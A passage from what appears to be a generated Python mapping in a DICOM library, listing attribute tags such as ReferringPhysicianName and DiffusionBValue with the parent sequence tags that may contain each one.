# RadionuclidePositronFraction
0x00181076L: [0x00540016L],
# RadiopharmaceuticalSpecificActivity
0x00181077L: [0x00540016L],
# RadiopharmaceuticalStartDateTime
0x00181078L: [0x00540016L],
# RadiopharmaceuticalStopDateTime
0x00181079L: [0x00540016L],
# SurfaceComments
0x00660004L: [0x00660002L],
# LowRRValue
0x00181081L: [0x00189118L, 0x00540063L],
# EffectiveEchoTime
0x00189082L: [0x00189114L],
# IntervalsAcquired
0x00181083L: [0x00189118L, 0x00540063L],
# IntervalsRejected
0x00181084L: [0x00189118L, 0x00540063L],
# DiffusionBValue
0x00189087L: [0x00189117L],
# HeartRate
0x00181088L: [0x00189118L],
# DiffusionGradientOrientation
0x00189089L: [0x00189076L],
# ApplicableFrameRange
0x00286102L: [0x00286100L],
# ManufacturerModelName
0x00081090L: [0x300A03A2L, 0x00189506L, 0x300A00B0L, 0x300A0206L, 0x00500010L, 0x0040A078L, 0x0040A07AL, 0x0018A001L, 0x00400520L],
# VelocityEncodingMinimumValue
0x00189091L: [0x00189197L],
# LensConstantSequence
0x00221092L: [0x00221300L, 0x00221310L],
# IOLManufacturer
0x00221093L: [0x00221300L, 0x00221310L],
# SpectroscopyAcquisitionPhaseRows
0x00189095L: [0x00189103L],
# RealWorldValueMappingSequence
0x00409096L: [0x00409094L],
# ImplantPartNumber
0x00221097L: [0x00221090L],
# PixelValueMappingCodeSequence
0x00409098L: [0x00186011L],
# SegmentLabel
0x00620005L: [0x00620002L],
# GraphicType
0x00700023L: [0x0040A730L, 0x00700009L],
# LateralSpreadingDeviceType
0x300A0338L: [0x300A0332L],
# SegmentDescription
0x00620006L: [0x00620002L],
# SphericalLensPower
0x00220007L: [0x0022001BL, 0x00240112L],
# HPGLDocumentID
0x006862D0L: [0x006862C0L],
# DataCollectionDiameter
0x00180090L: [0x00189360L, 0x00189732L, 0x00189304L],
# OpticalOphthalmicAxialLengthMeasurementsSequence
0x00221225L: [0x00221210L, 0x00221211L],
# ReferringPhysicianName
0x00080090L: [0x0040A370L],
# SegmentAlgorithmType
0x00620008L: [0x00620002L],
# ReconstructionDiameter
0x00181100L: [0x00189749L, 0x00189314L],
# RedPaletteColorLookupTableDescriptor
0x00281101L: [0x00880200L, 0x0028140BL, 0x00480120L],
# GreenPaletteColorLookupTableDescriptor
0x00281102L: [0x00880200L, 0x0028140BL, 0x00480120L],
# BluePaletteColorLookupTableDescriptor
0x00281103L: [0x00880200L, 0x0028140BL, 0x00480120L],
# AlphaPaletteColorLookupTableDescriptor
0x00281104L: [0x0028140BL],
# SlabOrientation
0x00189105L: [0x00189107L, 0x00189126L],
# MidSlabPosition
0x00189106L: [0x00189107L, 0x00189126L],
# LossyImageCompressionMethod
0x00282114L: [0x00189506L],
# DistanceSourceToDetector
0x00181110L: [0x00189507L, 0x00189476L, 0x00189312L, 0x00540022L, 0x00540052L],
# DistanceSourceToPatient
0x00181111L: [0x00189507L],
# CylinderAxis
0x00220009L: [0x0022001BL, 0x00240112L, 0x00460018L],
# ReferencedSeriesSequence
0x00081115L: [0x00089121L, 0x0008113AL, 0x00089092L, 0x00089154L, 0x00089237L, 0x00081200L, 0x00700402L, 0x00700404L, 0x00209529L, 0x00404033L, 0x00404021L, 0x00404022L, 0x0040A360L, 0x0040A525L, 0x0040A375L, 0x0040A385L],
# SyringeCounts
0x00181045L: [0x00540306L],
# GantryDetectorTilt
0x00181120L: [0x00189732L, 0x00189304L, 0x00540022L],
# GantryDetectorSlew
0x00181121L: [0x00189732L],
# SurfaceProcessingDescription
0x0066000BL: [0x00660002L],
# SpectroscopyAcquisitionDataColumns
0x00189127L: [0x00189103L],
# TemporalPositionIndex
0x00209128L: [0x00209111L],
# TableHeight
0x00181130L: [0x00189732L, 0x00189304L, 0x00189401L, 0x00540052L],
# GraphicData
0x00700022L: [0x00700318L, 0x0040A730L, 0x00700009L, 0x00700209L],
# SourceOfLensThicknessDataCodeSequence
0x00221132L: [0x00221127L],
# SoftcopyVOILUTSequence
0x00283110L: [0x00700402L],
# SourceofRefractiveMeasurementsSequence
0x00221134L: [0x0022001BL],
# DVHDoseScaling
0x30040052L: [0x30040050L],
# GraphicFilled
0x00700024L: [0x00700009L, 0x00700209L],
# RotationDirection
0x00181140L: [0x00189733L, 0x00189304L, 0x00540052L],
# ViewOrientationCodeSequence
0x006862E0L: [0x006862C0L],
# RadialPosition
0x00181142L: [0x00540022L, 0x00540052L],
# ScanArc
0x00181143L: [0x00540052L],
# AngularStep
0x00181144L: [0x00540052L],
# CenterOfRotationOffset
0x00181145L: [0x00540022L],
# FieldOfViewShape
0x00181147L: [0x00189507L, 0x00189432L, 0x00540022L],
# ROIGenerationAlgorithm
0x30060036L: [0x30060020L],
# FieldOfViewDimensions
0x00181149L: [0x00540022L],
# ReferencedInstanceSequence
0x0008114AL: [0x00081115L],
# ScheduledProcedureStepStartDate
0x00400002L: [0x00400100L],
# ReferencedSOPClassUID
0x00081150L: [0x00081199L, 0x00081198L, 0x00081110L, 0x00404016L, 0x30060016L, 0x00780026L, 0x0078002AL, 0x00081140L, 0x00700314L, 0x00380100L, 0x0008114AL, 0x00081120L, 0x300C0042L, 0x300C0080L, 0x00081111L, 0x00089121L, 0x00081125L, 0x00380004L, 0x00220021L, 0x00220022L, 0x00089410L, 0x20000500L, 0x300C0002L, 0x30080030L, 0x00082112L, 0x300C0040L, 0x0008114BL, 0x00686222L, 0x00686225L, 0x00686224L, 0x00760008L, 0x0076000CL, 0x0076000EL, 0x00760040L, 0x00720012L, 0x00221330L, 0x00741040L, 0x00720705L, 0x20100500L, 0x20100510L, 0x20100520L, 0x20500500L, 0x00404015L, 0x00400220L, 0x0066002EL, 0x300C0060L, 0x00741224L, 0x00460145L, 0x00220031L, 0x0040A390L, 0x00420013L, 0x00480200L, 0x30060012L, 0x003A020AL, 0x300A0401L],
# XRayTubeCurrent
0x00181151L: [0x30020030L],
# NominalCardiacTriggerDelayTime
0x00209153L: [0x00189118L],
# NominalCardiacTriggerTimePriorToRPeak
0x00209154L: [0x00189118L],
# ActualCardiacTriggerTimePriorToRPeak
0x00209155L: [0x00189118L],
# FrameAcquisitionNumber
0x00209156L: [0x00209111L],
# DimensionIndexValues
0x00209157L: [0x00209111L],
# FrameComments
0x00209158L: [0x00209111L],
# OphthalmicAxialLengthDataSourceDescription
0x00221159L: [0x00221220L, 0x00221225L],
# RadiationMode
0x0018115AL: [0x0040030EL],
# ReferencedFrameNumber
0x00081160L: [0x00081199L, 0x30060016L, 0x00081140L, 0x00089121L, 0x00220021L, 0x00220022L, 0x00089410L, 0x00082112L, 0x00700314L, 0x00221330L, 0x0008114AL, 0x0066002EL, 0x30020030L, 0x0040A730L, 0x00220031L, 0x00480200L, 0x300A0401L],
# SimpleFrameList
0x00081161L: [0x00081164L],
# CalculatedFrameList
0x00081162L: [0x00081164L],
# TimeRange
0x00081163L: [0x00081164L],
# ImagerPixelSpacing
0x00181164L: [0x00289443L, 0x00189506L],
# DimensionIndexPointer
0x00209165L: [0x00209222L],
# Grid
0x00181166L: [0x00189507L],
# FunctionalGroupPointer
0x00209167L: [0x00720022L, 0x00720400L, 0x00720600L, 0x00209222L],
# ParallelReductionFactorSecondInPlane
0x00189168L: [0x00189115L],
# RecommendedViewingMode
0x00281090L: [0x00089458L],
# RecommendedPresentationOpacity
0x0066000CL: [0x00660002L],
# RespiratoryMotionCompensationTechnique
0x00189170L: [0x300A0410L],
# RespiratorySignalSource
0x00189171L: [0x300A0410L],
# OperatingModeSequence
0x00189176L: [0x00189112L],
# OperatingModeType
0x00189177L: [0x00189176L],
# OperatingMode
0x00189178L: [0x00189176L],
# SpecificAbsorptionRateDefinition
0x00189179L: [0x00189239L],
# GradientOutputType
0x00189180L: [0x00189112L],
# SpecificAbsorptionRateValue
0x00189181L: [0x00189239L],
# GradientOutput
0x00189182L: [0x00189112L],
# FlowCompensationDirection
0x00189183L: [0x00189115L],
# TaggingDelay
0x00189184L: [0x00189006L],
# RespiratoryMotionCompensationTechniqueDescription
0x00189185L: [0x300A0410L],
# RespiratorySignalSourceID
0x00189186L: [0x300A0410L],
# AssigningJurisdictionCodeSequence
0x00400039L: [0x00100024L],
# RecommendedPresentationType
0x0066000DL: [0x00660002L],
# FocalSpots
0x00181190L: [0x00189507L, 0x00189325L, 0x00189360L],
# AnodeTargetMaterial
0x00181191L: [0x00189507L],
# FailureReason
0x00081197L: [0x00081198L],
# ReferencedSOPSequence
0x00081199L: [0x00081115L, 0x00400440L, 0x00400441L, 0x00440013L, 0x00221012L, 0x00741210L, 0x00404021L, 0x00240325L, 0x00440019L, 0x0040A730L, 0x00400612L, 0x00400620L, 0x00221127L, 0x00221128L, 0x00221134L, 0x00741212L, 0x00404033L],
# BodyPartThickness
0x001811A0L: [0x00189507L],
# XRayImageReceptorAngle
0x3002000EL: [0x300A00CAL],
# BeamLimitingDeviceAngle
0x300A0120L: [0x300A03A8L, 0x300A0111L, 0x30080040L, 0x30080041L, 0x0074104EL, 0x30020030L, 0x0074104CL],
# RTROIInterpretedType
0x300600A4L: [0x30060080L],
# FiniteVolume
0x0066000EL: [0x00660002L],
# DocumentTitle
0x00420010L: [0x00380100L],
# BeamLimitingDeviceRotationDirection
0x300A0121L: [0x300A03A8L, 0x300A0111L, 0x30080040L, 0x30080041L, 0x0074104EL, 0x0074104CL],
# DateOfLastCalibration
0x00181200L: [0x0018A001L],
# RedPaletteColorLookupTableData
0x00281201L: [0x00880200L, 0x0028140BL, 0x00480120L],
# GreenPaletteColorLookupTableData
0x00281202L: [0x00880200L, 0x0028140BL, 0x00480120L],
# BluePaletteColorLookupTableData
0x00281203L: [0x00880200L, 0x0028140BL, 0x00480120L],
# StereoBaselineDisplacement
0x00220011L: [0x00220020L],
# PixelPresentation
0x00089205L: [0x00189504L, 0x00189226L, 0x00189329L, 0x00189751L],
# VolumetricProperties
0x00089206L: [0x00189504L, 0x00189226L, 0x00189329L, 0x00189751L, 0x00189227L, 0x00189806L],
# VolumeBasedCalculationTechnique
0x00089207L: [0x00189504L, 0x00189226L, 0x00189329L, 0x00189751L, 0x00189227L, 0x00189806L],
# ComplexImageComponent
0x00089208L: [0x00189226L, 0x00189227L],
# AcquisitionContrast
0x00089209L: [0x00189226L, 0x00189227L],
# PatientSupportAngle
0x300A0122L: [0x300A03A8L, 0x300A0111L, 0x30080040L, 0x30080041L, 0x0074104EL, 0x30020030L, 0x0074104CL],
# ChannelMode
0x003A0302L: [0x003A0300L],
# LUTLabel
0x00409210L: [0x00409096L],
# RealWorldValueLastValueMapped
0x00409211L: [0x00409096L],
# RealWorldValueLUTData
0x00409212L: [0x00409096L],
# DimensionIndexPrivateCreator
0x00209213L: [0x00209222L],
# RespiratoryCyclePosition
0x00189214L: [0x00209111L],
# DerivationCodeSequence
0x00089215L: [0x00189412L, 0x00089124L, 0x30060020L],
# RealWorldValueFirstValueMapped
0x00409216L: [0x00409096L],
# VelocityEncodingMaximumValue
0x00189217L: [0x00189197L],
# TagSpacingSecondDimension
0x00189218L: [0x00189006L],
# RadiationAtomicNumber
0x300A0304L: [0x300A03A2L, 0x30080021L, 0x00741046L],
# FrameAcquisitionDuration
0x00189220L: [0x00189538L, 0x00209111L],
# SegmentedRedPaletteColorLookupTableData
0x00281221L: [0x00480120L],
# StereoHorizontalPixelOffset
0x00220012L: [0x00220020L],
# SegmentedBluePaletteColorLookupTableData
0x00281223L: [0x00480120L],
# RealWorldValueIntercept
0x00409224L: [0x00409096L],
# ImageBoxTileHorizontalDimension
0x00720306L: [0x00720300L],
# ImageSetLabel
0x00720040L: [0x00720030L],
# PixelIntensityRelationship
0x00281040L: [0x00289443L],
# UltrasoundSelectedOphthalmicAxialLengthSequence
0x00221230L: [0x00221007L, 0x00221008L],
# ImageBoxTileVerticalDimension
0x00720308L: [0x00720300L],
# MRAcquisitionPhaseEncodingStepsOutOfPlane
0x00189232L: [0x00189125L],
# SpectroscopyAcquisitionPhaseColumns
0x00189234L: [0x00189103L],
# CumulativeDoseToDoseReference
0x30080052L: [0x300800E0L, 0x30080050L],
# CardiacCyclePosition
0x00189236L: [0x00209111L],
# DataSetDescription
0x00240309L: [0x00240064L, 0x00240058L],
# ReasonForCancellation
0x00741238L: [0x00741002L],
# SpecificAbsorptionRateSequence
0x00189239L: [0x00189112L],
# MatrixSequence
0x0070030AL: [0x00700309L],
# RFEchoTrainLength
0x00189240L: [0x00189112L],
# NominalPercentageOfCardiacPhase
0x00209241L: [0x00189118L],
# ActualFrameDuration
0x00181242L: [0x00540032L, 0x00540052L],
# PreferredPlaybackSequencing
0x00181244L: [0x00720300L, 0x00289505L],
# NominalPercentageOfRespiratoryPhase
0x00209245L: [0x00209253L],
# StartingRespiratoryAmplitude
0x00209246L: [0x00209253L],
# StartingRespiratoryPhase
0x00209247L: [0x00209253L],
# EndingRespiratoryAmplitude
0x00209248L: [0x00209253L],
# FrameOfReferenceTransformationMatrixType
0x0070030CL: [0x0070030AL, 0x0064000FL, 0x00640010L],
# RegistrationTypeCodeSequence
0x0070030DL: [0x00700309L, 0x00640002L],
# OphthalmicAxialLengthSelectionMethodCodeSequence
0x00221250L: [0x00221012L, 0x00221230L],
# RRIntervalTimeNominal
0x00209251L: [0x00189118L],
# ActualCardiacTriggerDelayTime
0x00209252L: [0x00189118L],
# ASLSlabNumber
0x00189253L: [0x00189260L],
# ASLSlabThickness
0x00189254L: [0x00189260L],
# OpticalSelectedOphthalmicAxialLengthSequence
0x00221255L: [0x00221007L, 0x00221008L],
# ASLMidSlabPosition
0x00189256L: [0x00189260L],
# ASLContext
0x00189257L: [0x00189251L],
# ASLPulseTrainDuration
0x00189258L: [0x00189260L],
# ASLCrusherFlag
0x00189259L: [0x00189251L],
# ASLCrusherFlow
0x0018925AL: [0x00189251L],
# ASLCrusherDescription
0x0018925BL: [0x00189251L],
# ASLBolusCutoffFlag
0x0018925CL: [0x00189251L],
# ASLBolusCutoffTimingSequence
0x0018925DL: [0x00189251L],
# ASLBolusCutoffTechnique
0x0018925EL: [0x0018925DL],
# ASLBolusCutoffDelayTime
0x0018925FL: [0x0018925DL],
# ASLSlabSequence
0x00189260L: [0x00189251L],
# CommentsOnRadiationDose
0x00400310L: [0x0040030EL],
# OphthalmicAxialLengthQualityMetricSequence
0x00221262L: [0x00221230L, 0x00221260L, 0x00221257L],
# OphthalmicAxialLengthMeasurementsType
0x00221010L: [0x00221050L],
# NumberOfRangeShifters
0x300A0312L: [0x300A03A2L, 0x30080021L, 0x00741046L],
# ROIGenerationDescription
0x30060038L: [0x30060020L],
# ImageBoxSmallScrollAmount
0x00720314L: [0x00720300L],
# ImageBoxLargeScrollType
0x00720316L: [0x00720300L],
# IOLPowerForExactTargetRefraction
0x00221122L: [0x00221300L, 0x00221310L],
# ImageBoxLargeScrollAmount
0x00720318L: [0x00720300L],
# IOLFormulaCodeSequence
0x00221028L: [0x00221300L, 0x00221310L],
# ContourImageSequence
0x30060016L: [0x30060040L, 0x30060014L],
# OphthalmicAxialLengthSequence
0x00221012L: [0x00221300L, 0x00221310L],
# LightPathFilterTypeStackCodeSequence
0x00220017L: [0x00480105L],
# VerifyingObserverName
0x0040A075L: [0x0040A073L],
# RangeShifterType
0x300A0320L: [0x300A0314L],
# DecayFactor
0x00541321L: [0x00189736L],
# ReferencedToleranceTableNumber
0x300C00A0L: [0x300A03A2L, 0x300A00B0L, 0x30080021L],
# ChannelRecommendedDisplayCIELabValue
0x003A0244L: [0x003A0242L],
# ObjectiveLensPower
0x00480112L: [0x00480105L],
# DoseReferencePointCoordinates
0x300A0018L: [0x300A0010L],
# EstimatedDoseSaving
0x00189324L: [0x00189321L],
# DataElementsSigned
0x04000020L: [0x4FFE0001L, 0x04000403L],
# LensesCodeSequence
0x00220019L: [0x00480105L],
# ROIInterpreter
0x300600A6L: [0x30060080L],
# SelectorULValue
0x00720078L: [0x00720022L, 0x00720400L],
# Manifold
0x00660010L: [0x00660002L],
# ImagePositionVolume
0x00209301L: [0x0020930EL],
# AcquisitionType
0x00189302L: [0x00189301L],
# TubeAngle
0x00189303L: [0x00189301L],
# RevolutionTime
0x00189305L: [0x00189733L, 0x00189304L],
# SingleCollimationWidth
0x00189306L: [0x00189304L],
# TotalCollimationWidth
0x00189307L: [0x00189304L],
# TableSpeed
0x00189309L: [0x00189734L, 0x00189308L],
# StereoVerticalPixelOffset
0x00220013L: [0x00220020L],
# IrradiationEventUID
0x00083010L: [0x00189477L],
# TemporalPositionTimeOffset
0x0020930DL: [0x00209310L],
# PrimaryPromptsCountsAccumulated
0x00541310L: [0x00189736L],
# SpiralPitchFactor
0x00189311L: [0x00189308L],
# InPlanePhaseEncodingDirection
0x00181312L: [0x00189125L],
# DataCollectionCenterPatient
0x00189313L: [0x00189326L, 0x00189735L],
# FlipAngle
0x00181314L: [0x00189112L],
# ReconstructionAlgorithm
0x00189315L: [0x00189749L, 0x00189314L],
# ConvolutionKernelGroup
0x00189316L: [0x00189314L],
# ReconstructionFieldOfView
0x00189317L: [0x00189749L, 0x00189314L],
# ReconstructionTargetCenterPatient
0x00189318L: [0x00189326L, 0x00189735L],
# ReconstructionAngle
0x00189319L: [0x00189314L],
# SliceSensitivityFactor
0x00541320L: [0x00189736L],
# XRayTubeCurrentInmA
0x00189330L: [0x00189507L, 0x00189538L, 0x00189360L, 0x00189321L, 0x00189417L],
# ReconstructionPixelSpacing
0x00189322L: [0x00189314L],
# ScatterFractionFactor
0x00541323L: [0x00189736L],
# DeadTimeFactor
0x00541324L: [0x00189736L],
# TablePosition
0x00189327L: [0x00189326L, 0x00189735L],
# ExposureTimeInms
0x00189328L: [0x00189507L, 0x00189321L, 0x00189538L],
# ComponentSequence
0x00760040L: [0x00760032L],
# ReferencedOphthalmicAxialLengthMeasurementQCImage
0x00221330L: [0x00221230L, 0x00221260L, 0x00221257L, 0x00221210L, 0x00221212L],
# ExposureInmAs
0x00189332L: [0x00189507L, 0x00189360L, 0x00189321L, 0x00189538L],
# ConstantVolumeFlag
0x00189333L: [0x00189301L],
# FluoroscopyFlag
0x00189334L: [0x00189301L],
# DistanceSourceToDataCollectionCenter
0x00189335L: [0x00189312L],
# ContrastBolusAgentNumber
0x00189337L: [0x00180012L, 0x00189341L],
# ContrastBolusIngredientCodeSequence
0x00189338L: [0x00180012L],
# ContrastAdministrationProfileSequence
0x00189340L: [0x00180012L],
# ContrastBolusAgentAdministered
0x00189342L: [0x00189341L],
# ContrastBolusAgentDetected
0x00189343L: [0x00189341L],
# ContrastBolusAgentPhase
0x00189344L: [0x00189341L],
# CTDIvol
0x00189345L: [0x00189321L],
# CTDIPhantomTypeCodeSequence
0x00189346L: [0x00189321L],
# CalciumScoringMassFactorPatient
0x00189351L: [0x00189325L],
# CalciumScoringMassFactorDevice
0x00189352L: [0x00189325L],
# ControlPointIndex
0x300A0112L: [0x300A03A8L, 0x300A0111L, 0x300A02D0L],
# SpatialLocationsPreserved
0x0028135AL: [0x00082112L],
# PresentationPixelAspectRatio
0x00700102L: [0x0070005AL],
# HPGLPenLabel
0x00686340L: [0x00686320L],
# DVHNumberOfBins
0x30040056L: [0x30040050L],
# SurfacePointsSequence
0x00660011L: [0x00660002L],
# TemplateNumber
0x300A0240L: [0x300A0230L, 0x30080110L],
# RangeModulatorNumber
0x300A0344L: [0x300A0342L],
# RecommendedRotationPoint
0x00686346L: [0x006862C0L],
# PartialFourier
0x00189081L: [0x00189115L],
# SourceToSurfaceDistance
0x300A0130L: [0x300A0111L],
# PresentationGroupNumber
0x003A0241L: [0x003A0240L],
# ReferencedWedgeNumber
0x300C00C0L: [0x300A03ACL, 0x300A0116L],
# ExposureModulationType
0x00189323L: [0x00189321L],
# VectorAccuracy
0x00660020L: [0x00660012L],
# ReasonForTheRequestedProcedure
0x00401002L: [0x00400275L, 0x0040A370L],
# MeasuringUnitsSequence
0x00400295L: [0x00400293L],
# ContourSequence
0x30060040L: [0x30060039L],
# LeftImageSequence
0x00220021L: [0x00220020L],
# EnergyWeightingFactor
0x00189353L: [0x00189325L, 0x00189360L],
# OffsetOfTheNextDirectoryRecord
0x00041400L: [0x00041220L],
# AcquisitionDeviceProcessingCode
0x00181401L: [0x00189412L, 0x00189506L],
# DistanceSourceToIsocenter
0x00189402L: [0x00189507L, 0x00189476L],
# BitsMappedToColorLookupTable
0x00281403L: [0x00281401L],
# ObjectPixelSpacingInCenterOfBeam
0x00189404L: [0x00189401L],
# BlendingLUT1TransferFunction
0x00281405L: [0x00281404L],
# BlendingWeightConstant
0x00281406L: [0x00281404L, 0x0028140CL],
# BlendingLookupTableDescriptor
0x00281407L: [0x00281404L, 0x0028140CL],
# BlendingLookupTableData
0x00281408L: [0x00281404L, 0x0028140CL],
# ParticipationType
0x0040A080L: [0x0040A07AL],
# BlendingLUT2TransferFunction
0x0028140DL: [0x0028140CL],
# DataPathID
0x0028140EL: [0x0028140BL],
# RGBLUTTransferFunction
0x0028140FL: [0x0028140BL],
# RecordInUseFlag
0x00041410L: [0x00041220L],
# ExposureIndex
0x00181411L: [0x00189507L, 0x00189538L],
# TargetExposureIndex
0x00181412L: [0x00189507L, 0x00189538L],
# DeviationIndex
0x00181413L: [0x00189507L, 0x00189538L],
# SubtractionItemID
0x00289416L: [0x00289415L, 0x00286100L],
# XRayReceptorType
0x00189420L: [0x00189507L],
# TrianglePointIndexList
0x00660023L: [0x00660013L],
# PixelIntensityRelationshipLUTSequence
0x00289422L: [0x00286100L],
# AcquisitionProtocolName
0x00189423L: [0x00189506L],
# ContrastBolusIngredientOpaque
0x00189425L: [0x00180012L],
# PhysicalDetectorSize
0x00189429L: [0x00189507L],
# SurfacePointsNormalsSequence
0x00660012L: [0x00660002L],
# LensThickness
0x00221130L: [0x00221127L],
# PositionOfIsocenterProjection
0x00189430L: [0x00189507L],
# PrivateRecordUID
0x00041432L: [0x00041220L],
# FieldOfViewDescription
0x00189433L: [0x00189432L],
# ViewCodeSequence
0x00540220L: [0x00540022L],
# ExposureControlSensingRegionShape
0x00189435L: [0x00189434L],
# ExposureControlSensingRegionLeftVerticalEdge
0x00189436L: [0x00189434L],
# ExposureControlSensingRegionRightVerticalEdge
0x00189437L: [0x00189434L],
# ExposureControlSensingRegionUpperHorizontalEdge
0x00189438L: [0x00189434L],
# ExposureControlSensingRegionLowerHorizontalEdge
0x00189439L: [0x00189434L],
# ImageSetSelectorUsageFlag
0x00720024L: [0x00720022L],
# CenterOfCircularExposureControlSensingRegion
0x00189440L: [0x00189434L],
# RadiusOfCircularExposureControlSensingRegion
0x00189441L: [0x00189434L],
# VerticesOfThePolygonalExposureControlSensingRegion
0x00189442L: [0x00189434L],
# GeometricalProperties
0x00289444L: [0x00289443L],
# GeometricMaximumDistortion
0x00289445L: [0x00289443L],
# ImageProcessingApplied
0x00289446L: [0x00289443L],
# ColumnAngulationPatient
0x00189447L: [0x00189405L],
# BeamAngle
0x00189449L: [0x00189401L],
# AnteriorChamberDepth
0x00221131L: [0x00221128L],
# CalculatedAnatomyThickness
0x00189452L: [0x00189456L],
# FrameLabel
0x00209453L: [0x00209111L],
# MaskSelectionMode
0x00289454L: [0x00286100L],
# PlaneIdentification
0x00189457L: [0x00189506L],
# FrameDisplaySequence
0x00089458L: [0x00289505L],
# RecommendedDisplayFrameRateInFloat
0x00089459L: [0x00089458L],
# VertexPointIndexList
0x00660025L: [0x00660013L],
# SkipFrameRangeFlag
0x00089460L: [0x00089458L],
# FieldOfViewDimensionsInFloat
0x00189461L: [0x00189507L, 0x00189432L],
# PositionerIsocenterPrimaryAngle
0x00189463L: [0x00189462L, 0x00189538L],
# PositionerIsocenterSecondaryAngle
0x00189464L: [0x00189462L, 0x00189538L],
# PositionerIsocenterDetectorRotationAngle
0x00189465L: [0x00189462L, 0x00189538L],
# TableXPositionToIsocenter
0x00189466L: [0x00189462L],
# TableYPositionToIsocenter
0x00189467L: [0x00189462L],
# TableZPositionToIsocenter
0x00189468L: [0x00189462L],
# TableHorizontalRotationAngle
0x00189469L: [0x00189462L, 0x00189406L],
# FractionalChannelDisplayScale
0x003A0247L: [0x003A0242L],
# TableHeadTiltAngle
0x00189470L: [0x00189462L, 0x00189406L],
# TableCradleTiltAngle
0x00189471L: [0x00189462L, 0x00189406L],
# SpecimenDetailedDescription
0x00400602L: [0x00400560L],
# LUTFunction
0x00289474L: [0x00289422L],
# MaskVisibilityPercentage
0x00289478L: [0x00089458L],
# TargetPrescriptionDose
0x300A0026L: [0x300A0010L, 0x300C0050L],
# TargetMaximumDose
0x300A0027L: [0x300A0010L, 0x300C0050L],
# IntravascularLongitudinalDistance
0x00520028L: [0x00520027L],
# SurfaceMeshPrimitivesSequence
0x00660013L: [0x00660002L],
# SourceOfRefractiveErrorDataCodeSequence
0x00221135L: [0x00221134L],
# PhaseDelay
0x00540036L: [0x00540032L],
# PrimitivePointIndexList
0x00660029L: [0x00660026L, 0x00660027L, 0x00660028L, 0x00660034L],
# Component2ReferencedMatingFeatureSetID
0x007600B0L: [0x00760060L],
# OrganAtRiskFullVolumeDose
0x300A002AL: [0x300A0010L, 0x300C0050L],
# ReferencedFileID
0x00041500L: [0x00041220L],
# RangeModulatorSettingsSequence
0x300A0380L: [0x300A03A8L, 0x30080041L, 0x0074104EL],
# RegionPixelShiftSequence
0x00289502L: [0x00289501L],
# VerticesOfTheRegion
0x00289503L: [0x00289502L],
# PixelShiftFrameRange
0x00289506L: [0x00289501L],
# LUTFrameRange
0x00289507L: [0x00289422L],
# PrimaryPositionerScanArc
0x00189508L: [0x00189507L],
# SecondaryPositionerScanArc
0x00189509L: [0x00189507L],
# HPGLContourPenNumber
0x00686310L: [0x006862C0L],
# ReferencedSOPClassUIDInFile
0x00041510L: [0x00041220L],
# SecondaryPositionerScanStartAngle
0x00189511L: [0x00189507L],
# ReferencedTransferSyntaxUIDInFile
0x00041512L: [0x00041220L],
# PrimaryPositionerIncrement
0x00189514L: [0x00189507L],
# SecondaryPositionerIncrement
0x00189515L: [0x00189507L],
# StartAcquisitionDateTime
0x00189516L: [0x00189507L],
# EndAcquisitionDateTime
0x00189517L: [0x00189507L],
# AcquisitionIndex
0x00209518L: [0x00189530L],
# ReferencedRelatedGeneralSOPClassUIDInFile
0x0004151AL: [0x00041220L],
# ApplicationName
0x00189524L: [0x00189530L],
# RangeModulatorGatingStartWaterEquivalentThickness
0x300A0386L: [0x300A0380L],
# ApplicationManufacturer
0x00189526L: [0x00189530L],
# AlgorithmType
0x00189527L: [0x00189530L],
# AlgorithmDescription
0x00189528L: [0x00189530L],
# ContributingSOPInstancesReferenceSequence
0x00209529L: [0x00189506L],
# OrganAtRiskMaximumDose
0x300A002CL: [0x300A0010L, 0x300C0050L],
# ReconstructionDescription
0x00189531L: [0x00189530L],
# ReconstructionIndex
0x00209536L: [0x00189504L],
# Sensitivity
0x00186000L: [0x00189507L],
# PerProjectionAcquisitionSequence
0x00189538L: [0x00189507L],
# SlabThickness
0x00189104L: [0x00189107L, 0x00189126L],
# SegmentSurfaceGenerationAlgorithmIdentificationSequence
0x0066002DL: [0x0066002BL, 0x00620002L],
# DefaultPrinterResolutionID
0x20100054L: [0x2000001EL],
# ScheduledProcedureStepID
0x00400009L: [0x00400100L, 0x00400270L, 0x00400275L],
# VelocityEncodingDirection
0x00189090L: [0x00189197L, 0x00189092L],
# SegmentSurfaceSourceInstanceSequence
0x0066002EL: [0x0066002BL],
# FractionGroupDescription
0x300A0072L: [0x300A0070L],
# ChannelSensitivityCorrectionFactor
0x003A0212L: [0x003A0200L],
# ParticipationDateTime
0x0040A082L: [0x0040A07AL],
# ClinicalTrialSiteID
0x00120030L: [0x00380502L],
# ClinicalTrialSiteName
0x00120031L: [0x00380502L],
# IonBeamLimitingDeviceSequence
0x300A03A4L: [0x300A03A2L],
# ImageSetNumber
0x00720032L: [0x00720030L, 0x00720200L],
# ReferenceCoordinates
0x00220032L: [0x00220031L],
# ShutterShape
0x00181600L: [0x00189472L],
# DiffusionBMatrixSequence
0x00189601L: [0x00189117L],
# ShutterLeftVerticalEdge
0x00181602L: [0x00189472L],
# DiffusionBValueXY
0x00189603L: [0x00189601L],
# DiffusionBValueXZ
0x00189604L: [0x00189601L],
# DiffusionBValueYY
0x00189605L: [0x00189601L],
# DiffusionBValueYZ
0x00189606L: [0x00189601L],
# DiffusionBValueZZ
0x00189607L: [0x00189601L],
# ShutterLowerHorizontalEdge
0x00181608L: [0x00189472L],
# CenterOfCircularShutter
0x00181610L: [0x00189472L],
# RadiusOfCircularShutter
0x00181612L: [0x00189472L],
# RangeShifterWaterEquivalentThickness
0x300A0366L: [0x300A0360L],
# ComponentTypeCodeSequence
0x00760034L: [0x00760032L],
# VerticesOfThePolygonalShutter
0x00181620L: [0x00189472L],
# ShutterPresentationValue
0x00181622L: [0x00189472L],
# ShutterPresentationColorCIELabValue
0x00181624L: [0x00189472L],
# SurfaceProcessingAlgorithmIdentificationSequence
0x00660035L: [0x00660002L],
# SeamLineIndex
0x00520036L: [0x00520029L],
# RequestingPhysician
0x00321032L: [0x0040A370L],
# ThreeDImplantTemplateGroupMemberMatchingAxes
0x00780060L: [0x0078002AL],
# CalibrationImage
0x00500004L: [0x00189455L],
# KeratometerIndex
0x00221033L: [0x00221300L, 0x00221310L],
# PointCoordinatesData
0x00660016L: [0x00660011L],
# RecordedCompensatorSequence
0x300800C0L: [0x30080020L, 0x00741042L, 0x30080021L],
# ReferencedCalculatedDoseReferenceSequence
0x30080090L: [0x30080020L, 0x30080021L, 0x30080110L, 0x30080130L],
# RelativeTime
0x00720038L: [0x00720030L],
# RequestingServiceCodeSequence
0x00321034L: [0x0040A370L],
# OphthalmicImageOrientation
0x00220039L: [0x00220031L],
# ItemNumber
0x00200019L: [0x200000A2L],
